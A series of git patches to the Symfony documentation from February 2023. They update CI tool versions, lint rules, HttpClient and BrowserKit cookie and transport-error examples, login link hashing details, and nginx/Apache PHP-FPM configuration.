@@ -565,7 +565,7 @@ a Symfony service for the connection to the Redis server:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
-            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+            // you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes
             ->register('Redis', \Redis::class)
             ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
             // uncomment the following if your Redis server requires a password:

From 929cbc0bc8b4838368f6d85fa3a9c282cd9986f8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:08:39 +0100
Subject: [PATCH 4245/7107] Use DOCtor-RST 1.40.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 2e9cb4e4ee7..1be6d19ddf9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.38.2
+                uses: docker://oskarstark/doctor-rst:1.40.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 4188d4d5b553a44e400d8d7adb93c5f3d49d7e5b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:22:16 +0100
Subject: [PATCH 4246/7107] Fix: config

---
 .doctor-rst.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3cebb1a12f8..f0f78c84e31 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,7 +54,7 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-    no_merge_conflict:
+    no_merge_conflict: ~
 
     #   master
     versionadded_directive_major_version:

From b928cbe1ec5a13b9eb1ae53ad799300247e393c3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:22:37 +0100
Subject: [PATCH 4247/7107] sort

---
 .doctor-rst.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f0f78c84e31..94d2470c6a7 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -32,6 +32,7 @@ rules:
     no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
+    no_merge_conflict: ~
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
@@ -54,7 +55,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
-    no_merge_conflict: ~
 
     #   master
     versionadded_directive_major_version:

From 930962893fbc2221f9eabd7d143d73af6f973b0b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Feb 2023 19:29:57 +0100
Subject: [PATCH 4248/7107] [LoginLink] Add technical details

---
 security/login_link.rst | 28 ++++++++++++++++++++++++++--
 1 file changed, 26 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 40679e50071..b1688490f5f 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -111,9 +111,9 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
-        
+
     .. code-block:: php-attributes
-    
+
         // src/Controller/SecurityController.php
         namespace App\Controller;
 
@@ -428,6 +428,13 @@ The signed URL contains 3 parameters:
     properties. Whenever these change, the hash changes and previous login
     links are invalidated.
 
+For a user that returns ``user@example.com`` on ``$user->getUserIdentifier()``
+call, the generated login link looks like this:
+
+.. code-block:: text
+
+    http://example.com/login_check?user=user@example.com&expires=1675707377&hash=f0Jbda56Y...A5sUCI~TQF701fwJ...7m2n4A~
+
 You can add more properties to the ``hash`` by using the
 ``signature_properties`` option:
 
@@ -673,6 +680,23 @@ user create this POST request (e.g. by clicking a button)::
         </form>
     {% endblock %}
 
+Hashing Strategy
+~~~~~~~~~~~~~~~~
+
+Internally, the :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandler`
+implementation uses the
+:class:`Symfony\\Component\\Security\\Core\\Signature\\SignatureHasher` to create the
+hash contained in the login link.
+
+This hasher creates a first hash with the expiration
+date of the link, the values of the configured signature properties and the
+user identifier. The used hashing algorithm is SHA-256.
+
+Once this first hash is processed and encoded in Base64, a new one is created
+from the first hash value and the ``kernel.secret`` container parameter. This
+allows Symfony to sign this final hash, which is contained in the login URL.
+The final hash is also a Base64 encoded SHA-256 hash.
+
 Customizing the Success Handler
 -------------------------------
 

From 8ea1d117d0a2316d033802f5e8e6d4678ae1d7d6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:23:44 +0100
Subject: [PATCH 4249/7107] DOCtor-RST: Ensure bash prompt before composer
 command

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 94d2470c6a7..209d697b25f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -11,6 +11,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 1be6d19ddf9..89f4938c6b5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.40.0
+                uses: docker://oskarstark/doctor-rst:1.40.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 48e10286e9b71ffcfc2c7811f02ee56ca454fa97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:15:07 +0100
Subject: [PATCH 4250/7107] Tweak

---
 configuration.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 0335ea6edb2..83b0cd331ee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -629,6 +629,7 @@ This example shows how you could configure the application secret using an env v
                 http://symfony.com/schema/dic/symfony
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
+            <!-- by convention the env var names are always uppercase -->
             <framework:config secret="%env(APP_SECRET)%"/>
 
         </container>
@@ -640,6 +641,7 @@ This example shows how you could configure the application secret using an env v
 
         return static function (ContainerConfigurator $containerConfigurator) {
             $container->extension('framework', [
+                // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
             ]);
         };

From e6be0ebca66fbd2540bb4b5989a1468d7844b92d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Jan 2023 10:08:33 +0100
Subject: [PATCH 4251/7107] [HttpClient] Allow yielding Exception from
 MockResponse's $body to mock transport errors

---
 http_client.rst | 55 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 55 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 360e9b3cfcc..1d61163ebb7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1214,6 +1214,8 @@ response and get remaining contents that might come back in a new timeout, etc.
 
     Use the ``max_duration`` option to limit the time a full request/response can last.
 
+.. _http-client_network-errors:
+
 Dealing with Network Errors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1975,6 +1977,59 @@ test it in a real application::
         }
     }
 
+Simulate a Transport Exception
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When making HTTP requests, it sometimes occurs an error at transport level.
+You can find more information about transport errors it in the
+:ref:`Network Errors <http-client_network-errors>` section.
+
+It may be useful to test how your application behaves in case of a transport
+error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
+you to do so, by yielding the exception from its body::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        // ...
+
+        public function testTransportLevelError(): void
+        {
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $httpClient = new MockHttpClient([
+                // You can create the exception directly in the body...
+                new MockResponse([new \RuntimeException('Error at transport level')]),
+
+                // ... or you can yield the exception from a callback
+                new MockResponse((static function (): \Generator {
+                       yield new TransportException('Error at transport level');
+                })()),
+            ]);
+
+            $service = new ExternalArticleService($httpClient);
+
+            try {
+                $service->createArticle($requestData);
+
+                // An exception should have been thrown in `createArticle()`, so this line should never be reached
+                $this->fail();
+            } catch (TransportException $e) {
+                $this->assertEquals(new \RuntimeException('Error at transport level'), $e->getPrevious());
+                $this->assertSame('Error at transport level', $e->getMessage());
+            }
+        }
+    }
+
+.. versionadded:: 6.1
+
+    Being allowed to pass an exception directly to the body of a
+    :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` was
+    introduced in Symfony 6.1.
+
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/

From e804355f4e9876a826111a301fcea4d3c04d45c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:33:30 +0100
Subject: [PATCH 4252/7107] Tweaks

---
 http_client.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1d61163ebb7..461ec17dfab 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1977,14 +1977,13 @@ test it in a real application::
         }
     }
 
-Simulate a Transport Exception
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Testing Network Transport Exceptions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When making HTTP requests, it sometimes occurs an error at transport level.
-You can find more information about transport errors it in the
-:ref:`Network Errors <http-client_network-errors>` section.
+As explained in the :ref:`Network Errors section <http-client_network-errors>`,
+when making HTTP requests you might face errors at transport level.
 
-It may be useful to test how your application behaves in case of a transport
+That's why it's useful to test how your application behaves in case of a transport
 error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
 you to do so, by yielding the exception from its body::
 

From a2d7f66fe51a22bdcddabe98ff6d3885af5b0176 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:59:39 +0100
Subject: [PATCH 4253/7107] Add a tip about signing Symfony server binary on
 macOS

---
 setup/symfony_server.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420001f742..f6e348d02a3 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -56,6 +56,18 @@ run the Symfony server in the background:
     # show the latest log messages
     $ symfony server:log
 
+.. tip::
+
+    On macOS, when starting the Symfony server you might see a warning dialog asking
+    _"Do you want the application to accept incoming network connections?"_.
+    This happens when running unsigned appplications that are not listed in the
+    firewall list. The solution is to run this command that signs the Symfony binary:
+
+    .. code-block:: terminal
+
+        # change the path to the location of your Symfony binary
+        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/5.4.21/bin/symfony
+
 Enabling PHP-FPM
 ----------------
 

From 23c4898cc7ea604e79492bcf3a5a94a95f1aa6b4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 Feb 2023 00:13:22 +0100
Subject: [PATCH 4254/7107] Upgrading PHP version to 8.1

Page: https://symfony.com/doc/current/setup.html

... since this is now the minimum required, according to https://symfony.com/doc/current/setup.html

Besides, I would suggest to move nginx **above** Apache, since it's more popular today, according to https://w3techs.com/technologies/history_overview/web_server/ms/y
---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 70abd214a42..ede373e1aa9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -177,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php8.1-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -192,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php8.1-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -290,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php8.1-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -318,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 

From 40ed93728b0febf26ae2b9f2d9e908d2bb291d41 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Feb 2023 08:38:57 +0100
Subject: [PATCH 4255/7107] minor

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 461ec17dfab..13d5196fd36 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2005,7 +2005,7 @@ you to do so, by yielding the exception from its body::
 
                 // ... or you can yield the exception from a callback
                 new MockResponse((static function (): \Generator {
-                       yield new TransportException('Error at transport level');
+                    yield new TransportException('Error at transport level');
                 })()),
             ]);
 

From ec1c6ef3e9b8208574e13d439b8c60d363d5dfd2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Feb 2023 08:47:20 +0100
Subject: [PATCH 4256/7107] [PropertyInfo] Mention `list` pseudo type

---
 components/property_info.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 7f20064fb69..1a60978a03e 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -332,6 +332,15 @@ available), via the :method:`Type::getCollectionKeyTypes() <Symfony\\Component\\
 and :method:`Type::getCollectionValueTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueTypes>`
 methods.
 
+.. note::
+
+    The ``list`` pseudo type is returned by the PropertyInfo component as an
+    array with integer as the key type.
+
+.. versionadded:: 5.4
+
+    The support for the ``list`` pseudo type was introduced in Symfony 5.4.
+
 .. _`components-property-info-extractors`:
 
 Extractors
@@ -436,14 +445,14 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
 
 .. versionadded:: 5.2
 
-    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
+    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2.
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From b1aff37cbed5e1c1af1496d8743a8ea37f309cf9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Feb 2023 11:57:54 +0100
Subject: [PATCH 4257/7107] [String] Minor tweak about the slugger and locales

---
 components/string.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 17edd37d802..e4c4d9f0c8b 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -530,10 +530,11 @@ The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::
 
-    // this tells the slugger to transliterate from Korean language
+    // this tells the slugger to transliterate from Korean ('ko') language
     $slugger = new AsciiSlugger('ko');
 
     // you can override the locale as the third optional parameter of slug()
+    // e.g. this slugger transliterates from Persian ('fa') language
     $slug = $slugger->slug('...', '-', 'fa');
 
 In a Symfony application, you don't need to create the slugger yourself. Thanks

From 7c1642c7dbb5229b9fc130df5abfadacf9a25343 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 Feb 2023 14:16:21 +0100
Subject: [PATCH 4258/7107] Moving nginx above Apache (second attempt)

As requested at https://github.com/symfony/symfony-docs/pull/17886#issuecomment-1424116541
---
 setup/web_server_configuration.rst | 180 ++++++++++++++---------------
 1 file changed, 90 insertions(+), 90 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 70abd214a42..ed00dd547c7 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -30,10 +30,98 @@ to use PHP :ref:`with Nginx <web-server-nginx>`.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
+.. _web-server-nginx:
+
+Nginx
+-----
+
+The **minimum configuration** to get your application running under Nginx is:
+
+.. code-block:: nginx
+
+    server {
+        server_name domain.tld www.domain.tld;
+        root /var/www/project/public;
+
+        location / {
+            # try to serve file directly, fallback to index.php
+            try_files $uri /index.php$is_args$args;
+        }
+
+        # optionally disable falling back to PHP script for the asset directories;
+        # nginx will return a 404 error when files are not found instead of passing the
+        # request to Symfony (improves performance but Symfony's 404 page is not displayed)
+        # location /bundles {
+        #     try_files $uri =404;
+        # }
+
+        location ~ ^/index\.php(/|$) {
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_split_path_info ^(.+\.php)(/.*)$;
+            include fastcgi_params;
+
+            # optionally set the value of the environment variables used in the application
+            # fastcgi_param APP_ENV prod;
+            # fastcgi_param APP_SECRET <app-secret-id>;
+            # fastcgi_param DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name";
+
+            # When you are using symlinks to link the document root to the
+            # current version of your application, you should pass the real
+            # application path instead of the path to the symlink to PHP
+            # FPM.
+            # Otherwise, PHP's OPcache may not properly detect changes to
+            # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
+            # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
+            fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
+            fastcgi_param DOCUMENT_ROOT $realpath_root;
+            # Prevents URIs that include the front controller. This will 404:
+            # http://domain.tld/index.php/some-path
+            # Remove the internal directive to allow URIs like this
+            internal;
+        }
+
+        # return 404 for all other php files not matching the front controller
+        # this prevents access to other php files you don't want to be accessible.
+        location ~ \.php$ {
+            return 404;
+        }
+
+        error_log /var/log/nginx/project_error.log;
+        access_log /var/log/nginx/project_access.log;
+    }
+
+.. tip::
+
+    If you use NGINX Unit, check out the official article about
+    `How to run Symfony applications using NGINX Unit`_.
+
+.. note::
+
+    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
+    ``fastcgi_pass 127.0.0.1:9000``.
+
+.. tip::
+
+    This executes **only** ``index.php`` in the public directory. All other files
+    ending in ".php" will be denied.
+
+    If you have other PHP files in your public directory that need to be executed,
+    be sure to include them in the ``location`` block above.
+
+.. caution::
+
+    After you deploy to production, make sure that you **cannot** access the ``index.php``
+    script (i.e. ``http://example.com/index.php``).
+
+For advanced Nginx configuration options, read the official `Nginx documentation`_.
+
 .. _web-server-apache-mod-php:
 
-Adding Rewrite Rules
---------------------
+Adding Rewrite Rules for Apache
+-------------------------------
 
 The easiest way is to install the ``apache`` :ref:`Symfony pack <symfony-packs>`
 by executing the following command:
@@ -292,94 +380,6 @@ instead:
 
     FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
-.. _web-server-nginx:
-
-Nginx
------
-
-The **minimum configuration** to get your application running under Nginx is:
-
-.. code-block:: nginx
-
-    server {
-        server_name domain.tld www.domain.tld;
-        root /var/www/project/public;
-
-        location / {
-            # try to serve file directly, fallback to index.php
-            try_files $uri /index.php$is_args$args;
-        }
-
-        # optionally disable falling back to PHP script for the asset directories;
-        # nginx will return a 404 error when files are not found instead of passing the
-        # request to Symfony (improves performance but Symfony's 404 page is not displayed)
-        # location /bundles {
-        #     try_files $uri =404;
-        # }
-
-        location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
-            fastcgi_split_path_info ^(.+\.php)(/.*)$;
-            include fastcgi_params;
-
-            # optionally set the value of the environment variables used in the application
-            # fastcgi_param APP_ENV prod;
-            # fastcgi_param APP_SECRET <app-secret-id>;
-            # fastcgi_param DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name";
-
-            # When you are using symlinks to link the document root to the
-            # current version of your application, you should pass the real
-            # application path instead of the path to the symlink to PHP
-            # FPM.
-            # Otherwise, PHP's OPcache may not properly detect changes to
-            # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
-            # for more information).
-            # Caveat: When PHP-FPM is hosted on a different machine from nginx
-            #         $realpath_root may not resolve as you expect! In this case try using
-            #         $document_root instead.
-            fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
-            fastcgi_param DOCUMENT_ROOT $realpath_root;
-            # Prevents URIs that include the front controller. This will 404:
-            # http://domain.tld/index.php/some-path
-            # Remove the internal directive to allow URIs like this
-            internal;
-        }
-
-        # return 404 for all other php files not matching the front controller
-        # this prevents access to other php files you don't want to be accessible.
-        location ~ \.php$ {
-            return 404;
-        }
-
-        error_log /var/log/nginx/project_error.log;
-        access_log /var/log/nginx/project_access.log;
-    }
-
-.. tip::
-
-    If you use NGINX Unit, check out the official article about
-    `How to run Symfony applications using NGINX Unit`_.
-
-.. note::
-
-    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
-    ``fastcgi_pass 127.0.0.1:9000``.
-
-.. tip::
-
-    This executes **only** ``index.php`` in the public directory. All other files
-    ending in ".php" will be denied.
-
-    If you have other PHP files in your public directory that need to be executed,
-    be sure to include them in the ``location`` block above.
-
-.. caution::
-
-    After you deploy to production, make sure that you **cannot** access the ``index.php``
-    script (i.e. ``http://example.com/index.php``).
-
-For advanced Nginx configuration options, read the official `Nginx documentation`_.
-
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/

From 0f6b353112318f7b83cbffbaa6de9dd88df147c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Feb 2023 09:13:21 +0100
Subject: [PATCH 4259/7107] [HttpClient][BrowserKit] Add examples to set
 cookies in the request

---
 components/browser_kit.rst | 19 +++++++++++++++++++
 http_client.rst            | 15 +++++++++++++++
 2 files changed, 34 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 0d1f774e845..68ea04929d1 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -288,6 +288,25 @@ into the client constructor::
     $client = new Client([], null, $cookieJar);
     // ...
 
+Sending Cookies
+~~~~~~~~~~~~~~~
+
+By setting the ``Cookie`` header value, you are able to send cookies with your
+request thanks to the ``serverParameters`` argument of the
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method::
+
+    $client->request('GET', '/', [], [], [
+        'HTTP_COOKIE' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+
+        // you're also able to pass a string instead
+        'HTTP_COOKIE' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+    ]);
+
+.. note::
+
+    All HTTP headers set with the ``serverParameters`` argument must be
+    prefixed by ``HTTP_``.
+
 History
 -------
 
diff --git a/http_client.rst b/http_client.rst
index a94587a966e..763f5fed4bb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -686,6 +686,21 @@ You can either handle cookies yourself using the ``Cookie`` HTTP header or use
 the :doc:`BrowserKit component </components/browser_kit>` which provides this
 feature and integrates seamlessly with the HttpClient component.
 
+However, you're able to send cookies in your request. This is how you can do
+so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpFoundation\Cookie;
+
+    $client = HttpClient::create([
+        'headers' => [
+            'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+
+            // you're also able to pass a string instead
+            'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+        ],
+    ]);
+
 Redirects
 ~~~~~~~~~
 

From 8440c9e155231f712dfbc0cde5dff834fdb56e53 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 10 Feb 2023 15:50:36 +0100
Subject: [PATCH 4260/7107] Switching to PHP-version-agnostic socket file

Page: https://symfony.com/doc/5.4/setup/web_server_configuration.html

This makes upgrading to a new PHP version so much easier (I just did that). If the PHP version is hardcoded in every domain's config file, it's a hassle to update them.

On the other hand: `/var/run/php/php-fpm.sock` is a symlink to the most recently installed PHP version, so this is what most people want probably.

I hope this doesn't interfere with the change I did in https://github.com/symfony/symfony-docs/pull/17882 on the 6.2 branch.
---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index ed00dd547c7..d29b4a03c92 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -56,7 +56,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -265,7 +265,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php<version>-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -280,7 +280,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -378,7 +378,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php-fpm.sock -pass-header Authorization
 
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer

From bf53b5c3d7632296838171a208bb12d6a5aeea5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 16:00:33 +0100
Subject: [PATCH 4261/7107] Tweaks

---
 components/browser_kit.rst | 10 ++++++----
 http_client.rst            | 11 ++++-------
 2 files changed, 10 insertions(+), 11 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 68ea04929d1..f2c30cb8968 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -288,17 +288,19 @@ into the client constructor::
     $client = new Client([], null, $cookieJar);
     // ...
 
+.. _component-browserkit-sending-cookies:
+
 Sending Cookies
 ~~~~~~~~~~~~~~~
 
